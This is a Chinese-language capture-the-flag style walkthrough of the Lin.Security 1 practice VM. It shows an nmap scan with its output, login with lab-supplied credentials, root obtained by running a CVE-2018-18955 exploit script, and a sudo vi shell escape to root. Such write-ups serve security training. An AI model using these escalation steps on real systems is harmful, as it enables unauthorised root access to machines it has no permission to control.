12-LIN.SECURITY: 1

这是一台练习提权的靶机，相当简单和相当难的程度都有
IP=10.30.13.7

###nmap扫描结果（进行端口和服务、系统识别）

```
nmap -A $IP -p`nmap -sS -sU -p- -PN $IP --min-rate 10000 | grep '/tcp\|/udp' | awk -F '/' '{print $1}' | sort -u | tr '\n' ','`
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-02-24 02:13 GMT
Nmap scan report for 10.30.13.7
Host is up (0.00029s latency).

PORT      STATE  SERVICE  VERSION
22/tcp    open   ssh      OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 7a:9b:b9:32:6f:95:77:10:c0:a0:80:35:34:b1:c0:00 (RSA)
|   256 24:0c:7a:82:78:18:2d:66:46:3b:1a:36:22:06:e1:a1 (ECDSA)
|_  256 b9:15:59:78:85:78:9e:a5:e6:16:f6:cf:96:2d:1d:36 (ED25519)
111/tcp   open   rpcbind  2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3           2049/udp   nfs
|   100003  3           2049/udp6  nfs
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      34426/udp6  mountd
|   100005  1,2,3      39185/tcp6  mountd
|   100005  1,2,3      43791/tcp   mountd
|   100005  1,2,3      47625/udp   mountd
|   100021  1,3,4      35132/udp6  nlockmgr
|   100021  1,3,4      39321/tcp6  nlockmgr
|   100021  1,3,4      40775/tcp   nlockmgr
|   100021  1,3,4      45924/udp   nlockmgr
|   100227  3           2049/tcp   nfs_acl
|   100227  3           2049/tcp6  nfs_acl
|   100227  3           2049/udp   nfs_acl
|_  100227  3           2049/udp6  nfs_acl
```

```
2049/tcp  open   nfs      3-4 (RPC #100003)
35811/tcp open   mountd   1-3 (RPC #100005)
37425/tcp open   mountd   1-3 (RPC #100005)
40775/tcp open   nlockmgr 1-4 (RPC #100021)
43791/tcp open   mountd   1-3 (RPC #100005)
45924/tcp closed unknown
47625/tcp closed unknown
50222/tcp closed unknown
60690/tcp closed unknown
MAC Address: 08:00:27:D8:9F:D6 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.29 ms 10.30.13.7

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.96 seconds
```

###立足点

使用作者给的凭证登录

bob/secret

###提权

内核提权

```
uname -a  #查询内核版本，去网上搜索漏洞利用
```

CVE-2018-18955利用

将该exp传入目标主机/tmp目录下，并赋予777权限，执行后就获得root

```
chmod -R 777 polkit/
cd polkit/
./exploit.polkit.sh

#root
root@linsecurity:/tmp/polkit# whoami
```

```
root
root@linsecurity:/tmp/polkit# id
uid=0(root) gid=0(root) groups=0(root),1004(bob)
```

sudo提权

```
vi编辑器有sudo权限
bob@linsecurity:/tmp/polkit$ sudo vi -c ':!/bin/sh' /dev/null

# id
uid=0(root) gid=0(root) groups=0(root)
```